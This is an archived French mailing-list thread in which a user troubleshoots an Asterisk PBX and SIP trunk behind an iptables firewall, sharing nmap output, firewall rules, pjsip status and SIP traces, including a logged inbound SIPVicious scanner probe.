ce qui semble correspondre aux ports effectivement ouverts. Mais un
tcpdump sur l'interface publique de la machine testée voit bien passer
tous les paquets (pas seulement ceux correspondant ax ports ouverts).

Idem en UDP :
legendre# nmap -sU 192.168.15.18
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-03 14:11 CEST
Nmap scan report for 192.168.15.18
Host is up (0.00053s latency).
Not shown: 997 open|filtered udp ports (no-response)
PORT  STATE  SERVICE
53/udpopen   domain
123/udp   open   ntp
1/udp closed ndmp
MAC Address: 50:46:5D:72:EF:A2 (Asustek Computer)

Nmap done: 1 IP address (1 host up) scanned in 5.81 seconds
legendre#

Lorsque j'utilisais iptables-legacy, je n'ai jamais observé cela. Par
ailleurs, ça n'explique pas que des paquets à destination d'un port
fermé aboutissent bien à mon serveur asterisk...

Bien cordialement,

JKB



Re: Configuration asterisk

2023-07-03 Par sujet BERTRAND Joël
Je l'ai...

Il fallait mettre l'IP du serveur dans contact.

Je pense que la doc d'asterisk est parfaite pour quelqu'un qui sait déjà
exactement de quoi il retourne, mais pour quelqu'un qui en est à sa
première installation, c'est un peu galère. Je vais essayer de rédiger
quelque chose pour les débutants.

Merci pour tout.

JB



Re: Configuration asterisk

2023-07-03 Par sujet BERTRAND Joël
NoSpam a écrit :
> 
> Le 03/07/2023 à 12:57, BERTRAND Joël a écrit :
>> NoSpam a écrit :
>>> Le 03/07/2023 à 12:07, BERTRAND Joël a écrit :
>>>> NoSpam a écrit :
>>>>> Stop: n'as tu pas dit que les postes en interne arrivent à s'appeler ?
>>>>> Si c'est le cas, cela veut dire qu'asterisk ne sait pas comment
>>>>> traiter
>>>>> l'appel.
>>>>>
>>>>> 34. No circuit/channel available
>>>>>
>>>>> Renvois STP le context internal
>>>> Je réponds à toutes les questions dans le même mail pour qu'on s'y
>>>> retrouve plus facilement.
>>>>
>>>> [internal]
>>>>   exten => 6001,1,Dial(PJSIP/6001)
>>>>   exten => 6002,1,Dial(PJSIP/6002)
>>>>   exten => _00[1-79],1,Dial(PJSIP/${EXTEN:1}@SBSR)
>>> Ca c'est OK
>>>>
>>>> rayleigh*CLI> pjsip show endpoint SBSR
>>>> ...
>>>>    Endpoint:  SBSR
>>>> Not in
>>>> use    0 of inf
>>>>   OutAuth:  SBSR_auth/trunk-sip
>>>>   Aor:  SBSR   1
>>>>     Contact:  SBSR/sip:trunk-sip@systella2.buroticstore. 5551fa2b78
>>>> NonQual nan
>>>>     Transport:  udp-transport udp  0  0 
>>>> 0.0.0.0:5060
>>>>  Identify:  SBSR/SBSR
>>>>   Match: 37.97.65.186/32
>>> udp-transport  sur port 5060 ? Ca coince déjà ;) Le Contact est
>>> également mauvais, il devrait ressembler à
>>>
>>> SBSR/sip::5070
>>>
>>> Dans [aor] rajoute
>>>
>>> contact=sip::5070
>>>
>>> Identify ne sert à rien puisque tu t'enregistre
>>>
>>> Règle les deux premiers problèmes, cela devrait faire avancer les choses
>> [SBSR]
>>  type=aor
>>  contact=sip:trunk-sip@:5070
>>  max_contacts=1
>>  remove_existing=yes
> 
> Es tu sur que trunk-sip est ton contact chez le provider ? J'ai des
> doutes ... au mieux c'est ton username mais en général pas besoin
> sip:domain:5070 doit suffire. Mets max_contacts=10 pour le moment

Déjà, il y a un point que je ne saisis pas.

La signalisation du trunk SIP se fait en 5070/TCP, mais les paquets RTP
associés sont bien en UDP :

13:38:49.281101 IP rayleigh.systella.fr.17056 > 37.97.65.116.50458: UDP,
length 172
13:38:49.286130 IP 37.97.65.116.50458 > rayleigh.systella.fr.17056: UDP,
length 172

Quand je lance
rayleigh*CLI> pjsip show endpoint SBSR
...
 Endpoint:  SBSR Not in
use0 of inf
OutAuth:  SBSR_auth/trunk-sip
Aor:  SBSR   1
  Contact:  SBSR/sip:trunk-sip@systella2.buroticstore. 5551fa2b78
NonQual nan
  Transport:  udp-transport udp  0  0  0.0.0.0:5060
   Identify:  SBSR/SBSR
Match: 37.97.65.186/32

à quoi correspond udp-transport ? À la signalisation (auquel cas on
devrait être en 5070/TCP) ou aux paquets RTP ?

J'ai l'impression qu'il s'agit de la signalisation mais je n'en suis
pas sûr. Je vais tout de même essayer de trouver le moyen de forcer un
transport en TCP sur le port 5070.

Comme identifiant, le fournisseur m'a juste donné trunk-sip@domaine,
rien d'autre.

> pjsip show aors te donnera plus d'infos

rayleigh*CLI> pjsip show aors

  Aor:  

Contact:   
 
==

  Aor:  6001 1
Contact:  6001/sip:6001@192.168.10.253:5060a0a76d4acb
NonQual nan

  Aor:  6002 1
Contact:  6002/sip:6002@192.168.10.250:50616a2a034b2c
NonQual nan

  Aor:  SBSR 1
Contact:  SBSR/sip:trunk-...@systella2.buroticstore.eu 5551fa2b78
NonQual nan


Objects found: 3
rayleigh*CLI> pjsip list transports

Transport:

==

Transport:  tcp-transport tcp  0  0  192.168.15.18:5060
Transport:  udp-transport udp  0  0  0.0.0.0:5060

Objects found: 2

JB



Re: Configuration asterisk

2023-07-03 Par sujet BERTRAND Joël
NoSpam a écrit :
> 
> Le 03/07/2023 à 12:07, BERTRAND Joël a écrit :
>> NoSpam a écrit :
>>> Stop: n'as tu pas dit que les postes en interne arrivent à s'appeler ?
>>> Si c'est le cas, cela veut dire qu'asterisk ne sait pas comment traiter
>>> l'appel.
>>>
>>> 34. No circuit/channel available
>>>
>>> Renvois STP le context internal
>> Je réponds à toutes les questions dans le même mail pour qu'on s'y
>> retrouve plus facilement.
>>
>> [internal]
>>  exten => 6001,1,Dial(PJSIP/6001)
>>  exten => 6002,1,Dial(PJSIP/6002)
>>  exten => _00[1-79],1,Dial(PJSIP/${EXTEN:1}@SBSR)
> Ca c'est OK
>>
>>
>> rayleigh*CLI> pjsip show endpoint SBSR
>> ...
>>   Endpoint:  SBSR Not in
>> use    0 of inf
>>  OutAuth:  SBSR_auth/trunk-sip
>>  Aor:  SBSR   1
>>    Contact:  SBSR/sip:trunk-sip@systella2.buroticstore. 5551fa2b78
>> NonQual nan
>>    Transport:  udp-transport udp  0  0  0.0.0.0:5060
>>     Identify:  SBSR/SBSR
>>  Match: 37.97.65.186/32
> 
> udp-transport  sur port 5060 ? Ca coince déjà ;) Le Contact est
> également mauvais, il devrait ressembler à
> 
> SBSR/sip::5070
> 
> Dans [aor] rajoute
> 
> contact=sip::5070
> 
> Identify ne sert à rien puisque tu t'enregistre
> 
> Règle les deux premiers problèmes, cela devrait faire avancer les choses

[SBSR]
type=aor
contact=sip:trunk-sip@:5070
max_contacts=1
remove_existing=yes

ne change rien. J'ai toujours après un redémarrage :

  Transport:  udp-transport udp  0  0  0.0.0.0:5060
   Identify:  SBSR/SBSR
Match: 37.97.65.186/32

Je vais continuer à creuser après le repas, il commence à faire faim.

JKB



Trou dans un firewall (iptables nftable)

2023-07-03 Par sujet BERTRAND Joël
Bonjour à tous,

Je suis en train de configurer (péniblement) un serveur asterisk qui
est dans un DMZ. Tout le flux entrant sur l'IP publique est naté vers ce
serveur, protégé par un firewall iptables et fail2ban. Il s'agit
d'iptables et non d'iptables-legacy.

Cette machine est connectée à deux réseaux : wan0 d'un côté et lan0 de
l'autre.

Ce qui m'inquiète :

Root rayleigh:[/etc/asterisk] > tcpdump -i wan0 -p port 5060
...
12:26:54.145136 IP patient.census.internet-measurement.com.38253 >
rayleigh.systella.fr.sip: Flags [S], seq 3922597779, win 14600, options
[mss 1440], length 0

Là, je ne saisis pas puisque j'ai dans le fichier
/var/lib/iptables/active :

*filter
:INPUT DROP [28:3300]
:FORWARD DROP [0:0]
:OUTPUT DROP [27:3120]
[0:0] -A INPUT -i lo -j ACCEPT
[0:0] -A INPUT -i lan0 -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport ssh -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport smtp -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport domain -j ACCEPT
[0:0] -A INPUT -i wan0 -p udp -m udp --dport domain -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport http -j ACCEPT
[0:0] -A INPUT -i wan0 -p udp -m udp --dport ntp -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport https -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport ssmtp -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport submission -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport imaps -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport pop3s -j ACCEPT
[0:0] -A INPUT -i wan0 -p udp -m udp --dport openvpn -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport openvpn -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport cvspserver -j ACCEPT
[0:0] -A INPUT -i wan0 -p udp -m udp --dport cvspserver -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport jabber-client -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport git -j ACCEPT
[0:0] -A INPUT -i wan0 -p icmp -j ACCEPT
[0:0] -A INPUT -i wan0 -p udp -m udp --dport 1 -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport 4443 -j ACCEPT
[0:0] -A INPUT -i wan0 -p udp -m udp -s 37.97.65.0/24 -j ACCEPT
[0:0] -A INPUT -i wan0 -s ns6-axfr.gandi.net -j ACCEPT
[0:0] -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
[0:0] -A INPUT -m state --state INVALID -j DROP
[0:0] -A OUTPUT -o lo -j ACCEPT
[0:0] -A OUTPUT -o lan0 -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport ftp -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport ssh -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport telnet -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport smtp -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport whois -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport domain -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p udp -m udp --dport domain -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport gopher -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport http -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport pop3 -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport nntp -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p udp -m udp --dport ntp -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport snmp -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p udp -m udp --dport snmp -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport snmp-trap -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p udp -m udp --dport snmp-trap -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport https -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport rtsp -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport pop3s -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p udp -m udp --dport openvpn -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p udp -m udp --sport 1195 -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport cvspserver -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p udp -m udp --dport cvspserver -j ACCEPT
[1:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport 3128 -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport mysql -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport subversion -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport postgresql -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport http-alt -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport git -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p icmp -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p udp -m udp --sport 1 -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp -d 37.97.65.186 --dport 5070 -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p udp -m udp -d 37.97.65.0/24 -j ACCEPT
[0:0] -A OUTPUT -o wan0 -d ns6-axfr.gandi.net -j ACCEPT
[0:0] -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
[0:0] -A OUTPUT -m state --state INVALID -j DROP

La table mangle est utilisée pour la QoS. Comment se fait-il qu'un
paquet sur le port 5060/UDP puisse être envoyé à mon serveur sans qu'il
ne soit jeté ? Il n'y a pas de conntrack-sip chargé...

Bien cordialement,

JKB



Re: Configuration asterisk

2023-07-03 Par sujet BERTRAND Joël
NoSpam a écrit :
> Je me suis mal exprimé: le SPA arrive bien à appeler les autres postes
> ou l'écho test d'Asterisk (extension 600 par défaut si activer) ?
> 
> Si oui, le problème est au niveau d'asterisk, vois mon dernier courriel.

Il n'y a que des SPA et ils peuvent tous s'appeler entre eux (grâce aux
numéros enregistrés dans extensions.conf allant de 6001 à 6008).



Re: Configuration asterisk

2023-07-03 Par sujet BERTRAND Joël
NoSpam a écrit :
> Stop: n'as tu pas dit que les postes en interne arrivent à s'appeler ?
> Si c'est le cas, cela veut dire qu'asterisk ne sait pas comment traiter
> l'appel.
> 
> 34. No circuit/channel available
> 
> Renvois STP le context internal

Je réponds à toutes les questions dans le même mail pour qu'on s'y
retrouve plus facilement.

[internal]
exten => 6001,1,Dial(PJSIP/6001)
exten => 6002,1,Dial(PJSIP/6002)
exten => _00[1-79],1,Dial(PJSIP/${EXTEN:1}@SBSR)


rayleigh*CLI> pjsip show endpoint SBSR
...
 Endpoint:  SBSR Not in
use0 of inf
OutAuth:  SBSR_auth/trunk-sip
Aor:  SBSR   1
  Contact:  SBSR/sip:trunk-sip@systella2.buroticstore. 5551fa2b78
NonQual nan
  Transport:  udp-transport udp  0  0  0.0.0.0:5060
   Identify:  SBSR/SBSR
Match: 37.97.65.186/32

 100rel : yes
 accept_multiple_sdp_answers: false
 accountcode:
 acl:
 aggregate_mwi  : true
 allow  : (alaw|ulaw|g722|gsm)
 allow_overlap  : true
 allow_subscribe: true
 allow_transfer : true
 allow_unauthenticated_options  : false
 aors   : SBSR
 asymmetric_rtp_codec   : false
 auth   :
 bind_rtp_to_media_address  : false
 bundle : false
 call_group :
 callerid   : 
 callerid_privacy   : allowed_not_screened
 callerid_tag   :
 codec_prefs_incoming_answer: prefer:pending,
operation:intersect, keep:all, transcode:allow
 codec_prefs_incoming_offer : prefer:pending,
operation:intersect, keep:all, transcode:allow
 codec_prefs_outgoing_answer: prefer:pending,
operation:intersect, keep:all, transcode:allow
 codec_prefs_outgoing_offer : prefer:pending, operation:union,
keep:all, transcode:allow
 connected_line_method  : invite
 contact_acl:
 context: sbsr
 cos_audio  : 0
 cos_video  : 0
 device_state_busy_at   : 0
 direct_media   : false
 direct_media_glare_mitigation  : none
 direct_media_method: invite
 disable_direct_media_on_nat: false
 dtls_auto_generate_cert: No
 dtls_ca_file   :
 dtls_ca_path   :
 dtls_cert_file :
 dtls_cipher:
 dtls_fingerprint   : SHA-256
 dtls_private_key   :
 dtls_rekey : 0
 dtls_setup : active
 dtls_verify: No
 dtmf_mode  : rfc4733
 fax_detect : false
 fax_detect_timeout : 0
 follow_early_media_fork: true
 force_avp  : false
 force_rport: true
 from_domain: systella2.buroticstore.eu
 from_user  : trunk-sip
 g726_non_standard  : false
 geoloc_incoming_call_profile   :
 geoloc_outgoing_call_profile   :
 ice_support: false
 identify_by: username,ip
 ignore_183_without_sdp : false
 inband_progress: false
 incoming_call_offer_pref   : local
 incoming_mwi_mailbox   :
 language   :
 mailboxes  :
 max_audio_streams  : 1
 max_video_streams  : 1
 media_address  :
 media_encryption   : no
 media_encryption_optimistic: false
 media_use_received_transport   : false
 message_context:
 moh_passthrough: false
 moh_suggest: default
 mwi_from_user  :
 mwi_subscribe_replaces_unsolicited : no
 named_call_group   :
 named_pickup_group :
 notify_early_inuse_ringing : false
 one_touch_recording: false
 outbound_auth  : SBSR_auth
 outbound_proxy :
 outgoing_call_offer_pref   : remote_merge
 overlap_context:
 pickup_group   :
 preferred_codec_only   : false
 record_off_feature : automixmon
 record_on_feature  : automixmon
 refer_blind_progress   : true
 rewrite_contact: false
 rpid_immediate : false
 rtcp_mux   : false
 rtp_engine

Re: Configuration asterisk

2023-07-03 Par sujet BERTRAND Joël
NoSpam a écrit :
> Ton asterisk (192.168.1.1) qui répond 503 au SPA
> 
> Il faudrait la config complète du SPA

J'ai bien une sauvegarde de la configuration, mais ce n'est pas un
fichier texte :

hilbert:[~] > file SPA112_1.4.1.cfg
SPA112_1.4.1.cfg: dBase III DBT, version number 0

J'ai laissé dans les SPA112 la configuration qui fonctionnait
historiquement chez Nerim.

Comment envoyer cette configuration sans tout recopier à la main (ce
qui sera long et illisible) ?



Re: Configuration asterisk

2023-07-03 Par sujet BERTRAND Joël
NoSpam a écrit :
>> Je ne saisis pas comment ces paquets arrivent à passer le firewall.
> Ce sont les attaques dont je parlais précédemment. Il semble qu'il y ai
> un trou dans le FW. Y'a pas du nat sur le Cisco pour le wan => lan ?

Le serveur est en DMZ donc récupère tout ce qui arrive côté WAN et le
nate. Iptables est censé faire le boulot aidé par fail2ban.

Je viens de relancer le firewall pour voir.



Re: Configuration asterisk

2023-07-03 Par sujet BERTRAND Joël
NoSpam a écrit :
> On peut avoir les logs "lisibles", je me demande si ce n'est pas le SPA
> qui envoit cette erreur ...

On va réessayer.

2023/07/03 11:16:49.319643 192.168.10.253:5060 -> 192.168.1.1:5060
INVITE sip:0052@192.168.1.1 SIP/2.0
Via: SIP/2.0/UDP 192.168.10.253:5060;branch=z9hG4bK-4ffc33f;rport
From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0
To: 
Remote-Party-ID: "BERTRAND Jool"
;screen=yes;party=calling
Call-ID: b4303fbc-598e832d@192.168.10.253
CSeq: 101 INVITE
Max-Forwards: 70
Contact: "BERTRAND Jool" 
Expires: 240
User-Agent: Cisco/SPA112-1.4.1_SR5
Content-Length: 337
Allow: ACK, BYE, CANCEL, INFO, INVITE, NOTIFY, OPTIONS, REFER
Supported: replaces
Content-Type: application/sdp

v=0
o=- 1109306 1109306 IN IP4 192.168.10.253
s=-
c=IN IP4 192.168.10.253
t=0 0
m=audio 16388 RTP/AVP 8 18 0 2 100 101
a=rtpmap:8 PCMA/8000
a=rtpmap:18 G729a/8000
a=rtpmap:0 PCMU/8000
a=rtpmap:2 G726-32/8000
a=rtpmap:100 NSE/8000
a=fmtp:100 192-193
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-15
a=ptime:30
a=sendrecv


2023/07/03 11:16:49.320230 192.168.1.1:5060 -> 192.168.10.253:5060
SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP
192.168.10.253:5060;rport=5060;received=192.168.10.253;branch=z9hG4bK-4ffc33f
Call-ID: b4303fbc-598e832d@192.168.10.253
From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0
To: ;tag=z9hG4bK-4ffc33f
CSeq: 101 INVITE
WWW-Authenticate: Digest
realm="asterisk",nonce="1688375809/24b290ed53f6d5700e1c2242cea3347e",opaque="5872e4ec55567b00",algorithm=MD5,qop="auth
"
Server: Asterisk PBX 20.3.0~dfsg+~cs6.13.40431413-1
Content-Length:  0

2023/07/03 11:16:49.324923 192.168.10.253:5060 -> 192.168.1.1:5060
ACK sip:005@192.168.1.1 SIP/2.0
Via: SIP/2.0/UDP 192.168.10.253:5060;branch=z9hG4bK-4ffc33f;rport
From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0
To: ;tag=z9hG4bK-4ffc33f
Call-ID: b4303fbc-598e832d@192.168.10.253
CSeq: 101 ACK
Max-Forwards: 70
Contact: "BERTRAND Jool" 
User-Agent: Cisco/SPA112-1.4.1_SR5
Content-Length: 0

2023/07/03 11:16:49.328795 192.168.10.253:5060 -> 192.168.1.1:5060
INVITE sip:005@192.168.1.1 SIP/2.0
Via: SIP/2.0/UDP 192.168.10.253:5060;branch=z9hG4bK-7769d797;rport
From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0
To: 
Remote-Party-ID: "BERTRAND Jool"
;screen=yes;party=calling
Call-ID: b4303fbc-598e832d@192.168.10.253
CSeq: 102 INVITE
Max-Forwards: 70
Authorization: Digest
username="6001",realm="asterisk",nonce="1688375809/24b290ed53f6d5700e1c2242cea3347e",uri="sip:005@192.168.1.1",al
gorithm=MD5,response="8cda3eaf2616c6c31814e0420a209a45",opaque="5872e4ec55567b00",qop=auth,nc=0001,cnonce="569b9d8d"
Contact: "BERTRAND Jool" 
Expires: 240
User-Agent: Cisco/SPA112-1.4.1_SR5
Content-Length: 337
Allow: ACK, BYE, CANCEL, INFO, INVITE, NOTIFY, OPTIONS, REFER
Supported: replaces
Content-Type: application/sdp

v=0
o=- 1109306 1109306 IN IP4 192.168.10.253
s=-
c=IN IP4 192.168.10.253
t=0 0
m=audio 16388 RTP/AVP 8 18 0 2 100 101
a=rtpmap:8 PCMA/8000
a=rtpmap:18 G729a/8000
a=rtpmap:0 PCMU/8000
a=rtpmap:2 G726-32/8000
a=rtpmap:100 NSE/8000
a=fmtp:100 192-193
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-15
a=ptime:30
a=sendrecv

2023/07/03 11:16:49.329462 192.168.1.1:5060 -> 192.168.10.253:5060
SIP/2.0 100 Trying
Via: SIP/2.0/UDP
192.168.10.253:5060;rport=5060;received=192.168.10.253;branch=z9hG4bK-7769d797
Call-ID: b4303fbc-598e832d@192.168.10.253
From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0
To: 
CSeq: 102 INVITE
Server: Asterisk PBX 20.3.0~dfsg+~cs6.13.40431413-1
Content-Length:  0

2023/07/03 11:16:49.366603 192.168.1.1:5060 -> 192.168.10.253:5060
SIP/2.0 503 Service Unavailable
Via: SIP/2.0/UDP
192.168.10.253:5060;rport=5060;received=192.168.10.253;branch=z9hG4bK-7769d797
Call-ID: b4303fbc-598e832d@192.168.10.253
From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0
To: ;tag=b3c85bd6-bf99-4304-9bb8-9f72ed0e951f
CSeq: 102 INVITE
Server: Asterisk PBX 20.3.0~dfsg+~cs6.13.40431413-1
Reason: Q.850;cause=34
Content-Length:  0

C'est effectivement le SPA qui a l'air de répondre par une erreur 503.

2023/07/03 11:16:49.404098 192.168.10.253:5060 -> 192.168.1.1:5060
ACK sip:005@192.168.1.1 SIP/2.0
Via: SIP/2.0/UDP 192.168.10.253:5060;branch=z9hG4bK-7769d797;rport
From: "BERTRAND Jool" ;tag=cb4b2e70b9274409o0
To: ;tag=b3c85bd6-bf99-4304-9bb8-9f72ed0e951f
Call-ID: b4303fbc-598e832d@192.168.10.253
CSeq: 102 ACK
Max-Forwards: 70
Authorization: Digest
username="6001",realm="asterisk",nonce="1688375809/24b290ed53f6d5700e1c2242cea3347e",uri="sip:005@192.168.1.1",al
gorithm=MD5,response="8cda3eaf2616c6c31814e0420a209a45",opaque="5872e4ec55567b00",qop=auth,nc=0001,cnonce="569b9d8d"
Contact: "BERTRAND Jool" 
User-Agent: Cisco/SPA112-1.4.1_SR5
Content-Length: 0



Re: Configuration asterisk

2023-07-03 Par sujet BERTRAND Joël
NoSpam a écrit :
> Ton problème: error 503 Service Unavailable
> 
> Es tu sûr que le service est fonctionnel ?! Es tu sûr de la qualité de
> ton lien ? Peux tu basculer en UDP pour tester ?

Le serveur en face ne répond pas en UDP. La réponse est donc non.

Un point me chagrine. À la requête du serveur de l'opérateur :
2023/07/03 11:00:47.087935 37.97.65.186:5070 -> 192.168.15.18:40055
OPTIONS sip:s@62.212.98.88:5060;transport=TCP SIP/2.0
Via: SIP/2.0/TCP 37.97.65.186:5070;branch=z9hG4bKZ67rt8U6937aK
Route: ;transport=TCP
Max-Forwards: 70
From: ;tag=7Xp87eDtae20H
To: 
Call-ID:
64f20903-cd7d-4d95-bbee-bac3e99029e2_4747c3c2-355c-4604-be14-d88ac29d89
48
CSeq: 348219426 OPTIONS
Contact: 
User-Agent: Sewan_TRUNKFSC15
Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE,
REGISTER, NOTIF
Y
Supported: path, replaces
Allow-Events: talk, hold, conference, refer
Content-Length: 0

mpon asterisk répond :
2023/07/03 11:00:47.088564 192.168.15.18:40055 -> 37.97.65.186:5070
SIP/2.0 404 Not Found
Via: SIP/2.0/TCP
37.97.65.186:5070;rport=5070;received=37.97.65.186;branch=z9hG4
bKZ67rt8U6937aK
Call-ID:
64f20903-cd7d-4d95-bbee-bac3e99029e2_4747c3c2-355c-4604-be14-d88ac29d89
48
From: ;tag=7Xp87eDtae20H
To: ;tag=z9hG4bKZ67rt8U6937aK
CSeq: 348219426 OPTIONS
Accept: application/sdp, application/xpidf+xml,
application/cpim-pidf+xml, appli
cation/simple-message-summary, application/pidf+xml,
application/dialog-info+xml
, application/pidf+xml, application/dialog-info+xml,
application/simple-message-
summary, message/sipfrag;version=2.0
Allow: OPTIONS, REGISTER, SUBSCRIBE, NOTIFY, PUBLISH, INVITE, ACK, BYE,
CANCEL,
UPDATE, PRACK, REFER, MESSAGE
Supported: 100rel, timer, replaces, norefersub
Accept-Encoding: identity
Accept-Language: en
Server: Asterisk PBX 20.3.0~dfsg+~cs6.13.40431413-1
Content-Length:  0


> Il faudrait voir avec Sewan le pourquoi de la réponse. Lié au problème
> d'UTF8 car ton prénom est devenu Jool ... ?

Je vais voir avec eux.

Petite question connexe sur sngrep. Je trouve des choses comme ça :
[ ] 29   OPTIONS100@1.1.1.1 100@1.1.1.1   1
[ ] 45   OPTIONScensysinsp...@censys.io test.e...@sip5060.net 1

Quand je vais voir dedans, je peux trouver :

2023/07/03 10:30:06.796424 116.12.47.142:5102 -> 192.168.15.18:5060
OPTIONS sip:100@62.212.98.88 SIP/2.0
Via: SIP/2.0/UDP 116.12.47.142:5102;branch=z9hG4bK-1203353867;rport
Max-Forwards: 70
To: "sipvicious"
From:
"sipvicious";tag=3365643436323538313363340132313430303536
303634
User-Agent: friendly-scanner
Call-ID: 681857140004342012871496
Contact: sip:100@116.12.47.142:5102
CSeq: 1 OPTIONS
Accept: application/sdp
Content-Length: 0

Je ne saisis pas comment ces paquets arrivent à passer le firewall. Par
défaut, tout est fermé et je n'ouvre que le nécessaire. En particulier,
le 5060/UDP est censé être fermé.

Chain INPUT (policy DROP 18 packets, 1941 bytes)
 pkts bytes target prot opt in out source
destination
  889 99011 f2b-recidive  tcp  --  anyany anywhere
anywhere
  736  144K ACCEPT all  --  lo any anywhere
anywhere
  739 50821 ACCEPT all  --  lan0   any anywhere
anywhere
   12  1872 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:ssh
   56  5214 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:smtp
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:domain
172 ACCEPT udp  --  wan0   any anywhere
anywhere udp dpt:domain
   33  4407 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:http
0 0 ACCEPT udp  --  wan0   any anywhere
anywhere udp dpt:ntp
   19  3508 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:https
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:submissions
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:submission
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:imaps
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:pop3s
0 0 ACCEPT udp  --  wan0   any anywhere
anywhere udp dpt:openvpn
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:openvpn
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:cvspserver
0 0 ACCEPT udp  --  wan0   any anywhere
anywhere udp dpt:2401
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:xmpp-client
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere tcp dpt:git
0 0 ACCEPT icmp --  wan0   any anywhere
anywhere
0 0 ACCEPT udp  --  wan0   any anywhere
anywhere udp dpt:1
0 0 ACCEPT tcp  --  wan0   any anywhere
anywhere   

Re: Configuration asterisk

2023-07-03 Par sujet BERTRAND Joël
NoSpam a écrit :
>> rayleigh*CLI> core set verbose 3
>> Console verbose was OFF and is now 3.
>> [Jul  2 23:11:18] WARNING[22514]: res_pjsip.c:2497 set_id_from_hdr:
>> CallerID Name 'BERTRAND Jo�l' for number '6001' has invalid UTF-8
>> characters which were replaced
>> [Jul  2 23:11:18] WARNING[22514]: res_pjsip.c:2497 set_id_from_hdr:
>> CallerID Name 'BERTRAND Jo�l' for number '6001' has invalid UTF-8
>> characters which were replaced
>>  -- Executing [001@internal:1] Dial("PJSIP/6001-0008",
>> "PJSIP/01@SBSR") in new stack
>>  -- Called PJSIP/01@SBSR
>>    == Everyone is busy/congested at this time (1:0/1/0)
>>  -- Auto fallthrough, channel 'PJSIP/6001-0008' status is
>> 'CONGESTION'
> 
> En cli, pjsip set logger host 

Jul  3 10:14:34] WARNING[32621]: res_pjsip.c:2497 set_id_from_hdr:
CallerID Name 'BERTRAND Jo�l' for number '6001' has invalid UTF-8
characters which were replaced
